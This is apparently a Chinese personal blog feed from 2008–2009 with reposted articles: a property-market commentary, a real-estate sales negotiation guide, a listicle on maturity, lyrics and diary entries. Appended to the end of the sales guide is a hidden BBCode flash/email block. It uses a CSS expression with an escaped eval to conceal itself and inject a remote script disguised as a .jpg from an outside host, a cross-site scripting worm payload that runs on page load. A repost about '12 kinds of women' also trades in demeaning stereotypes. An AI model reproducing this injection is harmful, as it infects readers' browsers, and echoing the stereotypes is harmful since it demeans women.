紗ㄓ鷹/:;.戮

[转]有驾照的朋友都进来练练,看看自己的倒车水平怎么样

365893986@qq.com(紗ㄓ鷹/:;.戮) — Sat, 21 Mar 2009 16:42:56 GMT

今天在朋友空间偷了一个小游戏.是一个练习倒车的小游戏特转贴过来让大家都操练操练,看看自己的倒车水平和思路怎么样
游戏操作是用键盘的上下左右键来控制，
大家可以把自己的最好成绩公布出来哈，嘻嘻！

[转]80后偷偷成熟的20种表现

365893986@qq.com(紗ㄓ鷹/:;.戮) — Tue, 10 Mar 2009 15:14:29 GMT

1、你不怎么爱发短信了，有什么事还是通个话比较好，并且喜欢长话短说。
　　　　2、你不喜欢花太多时间沉浸在感情的思考中，你觉得那种煽情的小情结已经不属于你了。
　　　　3、你有时候挺喜欢独处的，但是你不再孤影自怜，你喜欢上上网，听听歌，并且自得其乐，偶尔玩玩游戏，但是不再玩升级类的了，小游戏还有竞技类的玩的多。
　　　　4、你以前只爱看娱乐节目，并且准时等待，现在你爱看法治频道，科学探索你也经常关注。偶尔看到电视里的帅哥，总是问周围的人，这男的谁啊？新出来的么？周围的人会说连他都不认识啊。
　　　　5、你会抽出空来去电影院看电影，你小时候觉得那是个很浪漫的谈情场所，你现在冲着你熟悉的导演你喜欢的演员去。
　　　　6、你加了很多QQ群，从小学到工作的，有兴趣一致的或者星座一样的，但是你不怎么爱在群里发言，也只是偶尔打开来看看他们说了些什么。
　　　　7、你有一个博客，有时候会写些东西，里面也会有一些照片。你不会经常去到处走访别人的博客，因为你博客里的东西是写给自己看的。
　　　　8、你偶尔哼着的歌，还是好几年前你熟悉的旋律，歌词也许都记地不太清楚了，但是依然接着哼。
　　　　9、你的床头会至少有一本书，也许是你并为读完的书，但是一定是一本好书，你偶尔会翻来看，直到你读完。
　　　　10、你开始发现不吃早餐的严重性，不管怎么样你也会买个早点填个肚子。
　　　　11、你永远给不出你年龄的确切答案，22还是23，22岁半吧。
　　　　12、你有个帐本，你不会像以前一样不知道钱花哪里去了。
　　　　13、你开始花一个周末的时间在超市购物，并且买好你一周乃至半个月的生活用品。冰箱空了你就会记得塞满。
　　　　14、你小时候喜欢把东西到处乱扔，你现在看见哪里不整洁了你会自然而然收拾一下，乱七八糟的你不舒服。
　　　　15、你打电话给父母的时候开始叮嘱他们要注意身体健康，你觉得有时候你反倒像大人，他们像你的孩子。
　　　　16、你不浪费水不浪费电。
　　　　17、你衣服可能不会很多，但是一定都会体面。
　　　　18、你偶尔和朋友同事们聚会，你会喝点酒，但是你不会轻易让自己醉。
　　　　19、你看到很小的小朋友的时候会觉得童年真美好。
　　　　20、你有一个经常逛的贴吧

我的愿望日记：我很想要的一件礼物

365893986@qq.com(紗ㄓ鷹/:;.戮) — Thu, 26 Feb 2009 17:30:25 GMT

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我的愿望日记：我很想要的一件礼物

365893986@qq.com(紗ㄓ鷹/:;.戮) — Thu, 26 Feb 2009 17:29:34 GMT

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365893986@qq.com(紗ㄓ鷹/:;.戮) — Thu, 26 Feb 2009 17:28:11 GMT

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[转]让男人娶回家保准后悔的12种女人

365893986@qq.com(紗ㄓ鷹/:;.戮) — Tue, 16 Dec 2008 15:01:20 GMT

　　第一种：野心永远大于爱心的女人。

　　她的心中膨胀着可怕的权力欲和支配欲，像那拉氏和武则天，一想要“凤”在“龙”上。你如果不慎让她进入你的企业，她不会因为你是她的什么人就全心全意配合你，做你的得力助手，而是一心掌控企业的命脉，取得企业的绝对支配权，否则她便食不甘味。她会使出浑身解数，为你设置障碍。而一旦她取得了公司的决定权，便可翻手为云覆手为雨了，甚至你的花销与行为也在她的掌握之内。到那时你若再自嘲自己“引狼入室”恐怕大势已去，悔之已晚。

　　第二种：不停地制造绯闻，给男人戴绿帽子没够的女人。

　　这种女人天生不会专一，她热衷于打扮，到处流情、遍洒风流。到哪儿去第一目标便是吸引男人的关注。她把男人的赞美当成是最高荣誉和奖赏，不出风头、制造“轰动效应”死不休。作为她的男人，你永远在别人的“关注”之下，而且永远是被人同情的“弱势”群体。

　　第三种：专找你的同学或朋友相好的女人。

　　这种女人天生修养不够，道德水准低下。没有自尊，更不懂得尊重自己所爱。为了向你炫耀她的魅力，她专找你的相熟去调情甚至红杏出墙。一不留神，你便要强行遭遇被同学或朋友“共妻”的尴尬，一辈子抬不起头、挺不起腰来做男人。

　　第四种：专在人前揭自己男人的短，让你没有半块遮羞布的女人。

　　这种女人像怨妇，“苦大仇深”得好像謦竹难书。永远不分里外，抓住个人便想“诉苦”，恨不得把你五百年前的污点都拿到阳光下展览，甚至是你的性史、绯闻都要有声有色地对外人“描绘”，而且越有你的熟人在场，她的表现欲就越强烈，揭露你也越“彻底”。她这样做只是为了用你的“不堪”来证明她有多“贤淑”和“宽容”。孰不知，这会让自己的男人丢尽脸面、无地自容、形象尽毁。

　　第五种：永远在你面前呟五喝六的女人。

　　这年头提倡男女平等，可有的女人却矫枉过正。在婚姻中一般表现为，她的话即是至高无上的“圣旨”，大事小情，她一个人拍板定案，你只是聋子的耳朵——“摆设”，更有甚者，她会像主人对待奴仆，把你呼来喝去。公众场合、朋友面前也不例外。

　　第六种：疑心重的女人。

　　这种女人多有点神经质。她习惯于你生活的“规律性”，比如每天几点下班几点回家，路上会走多长时间等等，偶尔有事耽误，没有准时到家或赴约，她便会发挥丰富的想象力，疑神疑鬼，甚至弄些莫须有的罪名加给你，无论怎样解释都解不了她的心疑。有时她甚至雇人或者自己对你进行跟踪“侦察”，使你每日如履薄冰、如临深渊，慌慌不可终日。

　　第七种：心胸狭隘、小肚鸡肠的女人。

　　这种女人不容人，甚至对你从前的恋爱史或旧情人也装不下。她一旦掌握了你的“情况”便耿耿于怀，一有个风吹草动，她更会不依不饶拿你的“历史”说事儿，甚至去你的班上或领导那里大闹，弄得你灰头土脑。让你永远有种被别人“揪住小辫子”或“小尾巴”的感觉。

　　第八种：胸无点墨、不学无术的女人。

　　这样的女人只下得了厨房，绝对上不了厅堂，否则在公共场合，或你有品位的贵宾来家做客、同桌共饮时，她三句话之内准让你大跌眼镜，虚汗直冒。弄不好会让客人觉得你娶了几千年前的山顶洞人。

　　第九种：发嗲不分场合的女人。

　　在所爱的人面前，女人偶尔适当的“嗲”会增加一种情趣儿。因为许多男人都不介意自己喜欢的女人向自己撒娇，甚至觉得会撒娇的女人才更懂情调，可是如果这个女人不分场合，不分轻重缓急，都跟你发起嗲来没完，比如，在同学聚会时，她想在你女同学或旧相好面前表现你们的伉俪情深，搂住你的脖子旁若无人地亲吻你，一边说些肉麻的呢喃细语，或者你正执行公务时，遇上她，她便癫狂地冲上去，夸张地与你撒娇缠绵，而无视你的同伴及上司的存在，都会让你和在场的人暴汗！

　　第十种：哪怕在西餐厅也会高门大嗓说话，表现“豪气冲天”的女人。

　　这种女人生性豪爽，喜欢在酒桌上与男人们推杯换盏，称兄道弟，大声喧哗惯了，所以即使走进安静而高雅的西餐厅，也不注意气氛和场合，仍然如入无人之境地大声说话，笑声朗朗，自己毫无察觉，却早已引得众人侧目，这会令身边的你无地自容。

　　第十一种：看不上你的父母和亲朋的女人。

　　她可能很爱你，可是却对你的父母、亲人或身边的朋友充满了挑剔甚至“敌意”，这可以折射出她心地的不善，如果你选择了这种女人，你就等着众叛亲离吧！

　　第十二种：没有责任心，动辄离家出走的女人。

　　这种女人没有正业，也懒于家务，心中更没有相夫教子的概念，每日把自己打扮得花枝招展、招摇过市，或去玩麻将、逛商场，生活的目标不知在哪里，而且她稍有不顺心，便会拂袖摔门而去，离家出走，或回娘家或去其他亲朋家，甚至借口堵气躲到其他男人那儿厮混。

　　已婚的男人们如果您娶的是染有一种或几种毛病的女人，那么看看您娶的是哪类人？还来不来得及矫正？当然，我们得承认，有些毛病是与生俱来的骨子里的东西，是任你累死也改变不了她的。俗话说“生就的骨头长就的肉”或“一岁不成驴，到老是驴驹”、“三岁看老”等等，说得就是这个道理。

[转]牛刀：中国楼市炒家心理已经崩溃【展望09】十

365893986@qq.com(紗ㄓ鷹/:;.戮) — Tue, 16 Dec 2008 14:53:53 GMT

牛刀：中国楼市炒家心理已经崩溃【展望09】十

最近有两件事，在业内引起争议。一件是山西煤老板包机去北京购房，而且是购买300万至1000万的别墅，随后就被媒体暴光说，没有一个煤老板；另一件是温州炒房团重回上海，看了四个楼盘，准备下周下单，意向成交金额几千万，也就是说，现场没有一套成交，后被媒体曝光说，温州人来上海是想向买房人或开发商放高利贷的，很显然，温州人很聪明，在目前市场形势下，放高利贷比炒房子赚钱。

这个时候去寻找楼市炒家，真的比登天还难。炒楼大军的群体构成极其复杂。在山西炒楼团里，主要是15万吨以上煤窑的老板，这些人比一般的煤老板文化素养略高，更懂得投资的重要；在温州炒楼团里，主要是温州一带甚至包括金华、丽水、台州等周边地区的民营企业主、官太太和银行官员的沾边亲戚，人员众多，构成复杂；而红极一时，最为庞大的炒楼大军是深圳炒房团，其构成人员更加复杂，不仅有民营企业主、港台韩日在深人员、潮汕一带老板、全国各地官员和银行高管的太太和儿女，还有一群港台老板和内地高官的二奶，相当于国际热钱和黑钱的买办。可以说，有一段时间，深圳炒房团每到一处，立马就是房价暴涨，一个城市的房价居然操纵在炒房团手上，可见他们的资金实力是多么雄厚。

现在的情形是，煤炭价格像原油价格一样，已经跌去了50%，煤老板哪里还有心思去炒楼。温州的中小企业老板，正在经历企业转型时的阵痛，即使炒楼再赚钱，他们也不会放弃本行，在本行自顾不暇时，他们哪里还有心思去炒楼。至于官太太们，已经放风说，五年不会再炒楼。我原来写过一篇：中国楼市炒家至少要准备被套五年，就是和他们交流后写的。至于二奶炒家，他们的资金来源已经枯竭，有的甚至正在回流。

现在在一线城市还在炒楼的，只有数额不多的职业房产投资人，大多是长线的，目前基本转向做商业地产和写字楼。不管行情如何，这些职业房产投资人已经练就了一整套房产投资模式，他们的理念很简单，只要中国的房地产开发模式不变，房地产的投资机会是永远存在的，关键是看投资什么样的产品。不过近日人民币贬值，中国不动产业面临着和全球不动产一样的局面，价值正在重估，也就意味着，所有不动产价格都要下降，不仅仅只是普通住宅，还包括他们正在投资的商业地产。这个原因，让他们出手非常谨慎。

所以，2009年，中国楼市不是没有机会，而是炒家群体已经分崩离析，在短期内不看好楼市。中央政府强调市场信心，其实很大一部分是说给他们听得，但现时已经让他们听不进了，因为市场信心来自对市场的良好预期，对楼市炒家来说，今天买的房子，明天就能赚钱，才能给人带来信心，如果今天买的房子，明天就缩水一半，让他们怎么可能有信心去投资呢？何况，许多人手头上已经有多套房子被套，有的炒了两三年所赚的钱全部赔进去不说，还面临银行逼债。

回到前面，所有的关于山西、温州炒房团，只是一种对市场的假想，实际上已经不适合做任何楼市投机。严格来说，2009年，中国楼市已经没有炒家，因为他们的投机心理已经崩溃。
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房地产销售谈判技巧

365893986@qq.com(紗ㄓ鷹/:;.戮) — Thu, 04 Dec 2008 12:57:16 GMT

一、销售人员必须具备的推销能力：
1、说服能力
2、专业化知识

二、销售人员怎样才能具备推销、谈判技巧：
（一）、销售人员必备的谈判技巧：
1、能够激发客户的购买欲望；
2、给予客户好的感觉；
3、激发客户的购房兴趣；
4、激发客户下定决心购买。

（二）、说服能力：
1、自信+专业水平
要有自信，自信可磨练推销谈判技巧，有自信的说话技巧才能抓住客户的心理；
要有专业水平：专业水平就是说具有丰富的房地产专业知识和清晰的表达能力；对自身楼盘的结构、单位面积、朝向、楼层间隔、建筑材料、购楼须知、价格、付款方式、销售手册、周边环境、配套设施及周边楼盘的了解，同时应熟悉、掌握发展商名称、楼盘详细地址、银行帐号、签订认购书、交款手续、签合同、办按揭、入伙手续、办房产证等有关手续及收费标准。
2、（三意主义）推销售术：
①诚意（诚恳友善） ②创意 ③热意（热情、积极）

3、在说服方面，脸部表情可发挥很大作用：
①根据美国心理学家梅班恩的研究资料得知，说服的三大构成要素为：脸部表情占55%、声音占30%、语辞占7%
②微笑服务，笑脸是万国共通的语言；
③脸部表情应与语辞语气相一致。

4、说服时，要尽量满足客户的（三大渴望）
因为忽视人性的基本原理，不论在推销或人际关系方面都将难以成功；所以对待客户必须做到：
①接纳（希望被接受）
②认可（希望被认同）
③重视（希望被重视）

三、提升说话技巧、吸引客户的交谈方式
1、别令对方疲劳、反感的方式说话：
① 声音太小、咬字不清，听不清楚你在说什么；
② 罗罗唆唆、单方面叙述的说话方式；
③ 口若恳河的说话方式；
④ 正面反驳、伤人自尊心的说话方式。
注意用字遣词及语气
①不可用太轻浮的语气，让人感觉不稳重、成熟；
②过份的敬语、奉承会给人虚伪的感觉；
③介绍商品时可适当使用手势、绘声绘色、效果会更佳；

要想得到客户的信赖，要好好活用果断、反复、传染的效果：
①果断——将问题有信心地直截了当地说出；
②反复——将项目的优势突出介绍；
③感染——将对项目的自信、自身的热情传输给客户。

① 推销谈判的组合方法：
（一）、有计划、有阶段性的推销、谈判
1、接近客户，套近乎是良好沟通的开始；
2、引起对方足够的注意力、兴趣和购买欲望；
3、利用自己丰富的房地产专业知识，信心十足地介绍自身项目的优势；
4、打动他，令对方下定决心购买。

（二）、利用暗示进行推销、谈判
1、正面暗示
日本有（医生的正门、律师的客厅）的说法，即是说：破烂的正门，不堪入目的沙发，让人无法相信他的本事；相反，华丽的正门，华贵的沙发，则令人心里舒畅。
同样，销售员若是穿衣服皱巴巴，表情灰暗，无精打采，那么就算客户有满腔的购买欲望都可能受到影响。

2、小小的动作也有暗示的作用：
①倒背着手面对客户——让人感觉高高在上，没有亲近感
②抱着胳膊——让客户产生反感
③搓手——没能信心的表现
④眼睛的动向——眼神不能飘浮不定，眼睛是心灵的窗户
⑤脚的位置——两腿*开，显得吊儿郎当。

（三）、巧妙利用电话推销
1、在电话中作给人好感的交流
①注意声音的高度，速度、语气、称呼、自我介绍；
②注意声音给人的感觉；
③注意用词不达意、谈话时间，尽量以简洁为要；
④选择打电话的时机，准备好要谈的事项，准备好需记录用的纸、笔、计算器。

② 商洽成功的要点：
（一）、与客户融洽谈判
1、以自然、轻松的心情好好地与客户沟通、融洽相处；
2、有礼貌，培养推销礼节，不说谎、真诚相处；
3、认同客户的优点，并加以赞赏，令对方开心；
4、寻找共通的话题，以商品房为谈话中心，将我们的项目的结构、价格、环境、交通，升值潜力等等详细作介绍，突出自身楼盘的优势，必要时也可以适当地说竞争楼盘的劣势；

（二）、对客户作有效的询问
1、利用询问让客户开口说话；
2、作能让客户马上答复的简单询问；
3、能够让客户理解的询问——不要太专业化，专业术语太多。

（三）、商洽中须掌握的几项推销术
1、了解客户的性格，根据性格不同采取不同的说话接待方式。
2、根据其价值不同判断：
①利益型 ②理性型 ③感性型
3、了解排除竞争法：
①不说竞争对手的坏话
②别说尽了项目的新有优点
③与周边项目作适当的比较，应突出我方项目的优势
4、“擅长倾听”客户说话为推销高手
①倾听对方说话
②令对方知道自己已充分理解他所讲
A、让自己变得很贤明
B、提高客户自尊心
C、客户给自己的评价会增高
5、培养“倾听技巧”
①对客户提起的话题作适当的附和
②不要随便插嘴
③抓住发言机会围绕商品为主题作介绍

③ 在谈判过程中，遇到客户提出的反驳观点、抱怨时：
1、诚实处理、不要说太多话，专心聆听对方的话；
2、说话要有权威性；
3、事前预想一下客户的意见；
4、分析原因，找出解决方案，如果能力权力范围内解决不了的，再往上级反映情况；
5、别感情用事，与客户辩解或争吵。

④ 客户意向购买，决定签订合约的征兆：
（一）、从语辞方面看
1、再三询问价格、优惠条件时；
2、询问什么时候入伙时；
3、询问项目交通、配套情况时；
4、反复问同一个问题时；
5、与家人或朋友打电话时；
6、开始谈及自己的私事时。

（二）、由表情、动作方面看：
1、突然默不作声，有所思考的表情突然开朗时；
2、再次细心地到现场看楼或多次到访时；
3、仔细研究售楼资料，计算购楼费用时；
4、深呼吸、不断变换坐姿时。

⑤ 签订合约的注意事项：
签订合约是成功的关键阶段，绝不可松懈，应全力以赴
1、完成交易的方法：
①重复项目优点
②暗示新购单位的优点
③把客户选择的范围缩小
④建议客户下订
2、签认购书或合同时：
①别让客户有紧迫感，以镇定的态度签约，别太着急。
②别对自身的楼盘无信心，别放走机会。
③签约后马上说出祝贺语或对业主表示关怀语，不谈多余的话。
④签完合约后不要得意忘形。

⑥ 售后服务
1、签定认购书后，应让客户清楚知道银行地址、银行帐户及抬头、应在何时将首期款或其他楼款存入银行。
2、应让客户清楚知道在交完楼款，凭付款票据到指定办公点办理签订买卖合同（按揭的还需签订贷款合同、贷款申请表、办理抵押登记及交清有关按揭费用）等有关手续，给客户开楼款收据等。并协助客户办理入伙手续，解决问题。
3、若是一次性付款的，则让客户将身份证、购房资料、付清楼款证明书及购楼发票交给指定部门，待办房产证。
4、各售楼处应存一份客户跟踪记录表，记录好每个客户楼款所交情况，让各职员一目了然，若是欠交的则及时通知对方补交，若是用转帐方式时，待楼款到帐后，则及时通知客户前来签署正式合同及办理相关手续[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

[转]害怕．

365893986@qq.com(紗ㄓ鷹/:;.戮) — Thu, 26 Jun 2008 17:20:23 GMT

忘

我没有很努力要自己去遗忘

那些和日记一起收藏的过往

孤单在思绪之中变得很漫长

想

我没有可以让自己不去想

那些和照片静止的模样

我学着坚强

还是害怕夜深人静时总想起你

还是害怕的不经意听见你的消息

然而当爱已经沉淀得太清晰

当拥有已经是失去

就勇敢的放弃

还是害怕一个人时就很难忘记

还是害怕突然宁愿当初没有决定

然而当爱最后的出口是分离

我会这么相信

走下去

还是害怕夜深人静时总想起你

还是害怕的不经意听见你的消息

然而当爱已经沉淀得太清晰

当拥有已经是失去

就勇敢的放弃

还是害怕一个人时就很难忘记

还是害怕突然宁愿当初没有决定

然后当爱最后的出口是分离

我会这么相信

走下去

忘

我没有很努力要自己去遗忘

追寻自己的原点

365893986@qq.com(紗ㄓ鷹/:;.戮) — Fri, 20 Jun 2008 14:35:40 GMT

时间转瞬既是，最近几年的事情还历历在目。仿佛回到了2005年时的我，但是唯一变的是年龄大了心老了！事业。感情。财富。从新回到了似曾相识的原点！赚的钱全套股票里了，财富还可以再去积攒。付出的感情全部牺牲了，怎么才能重来。人老了心态要向往着年轻，曾经无比高傲的我如今也要去低调坚忍着去继续奋斗！誓去的辉煌一定要用自己的双手去恢复，最近房市不太好买卖挺不景气的！一定要用自己的努力去创造让人信服的辉煌！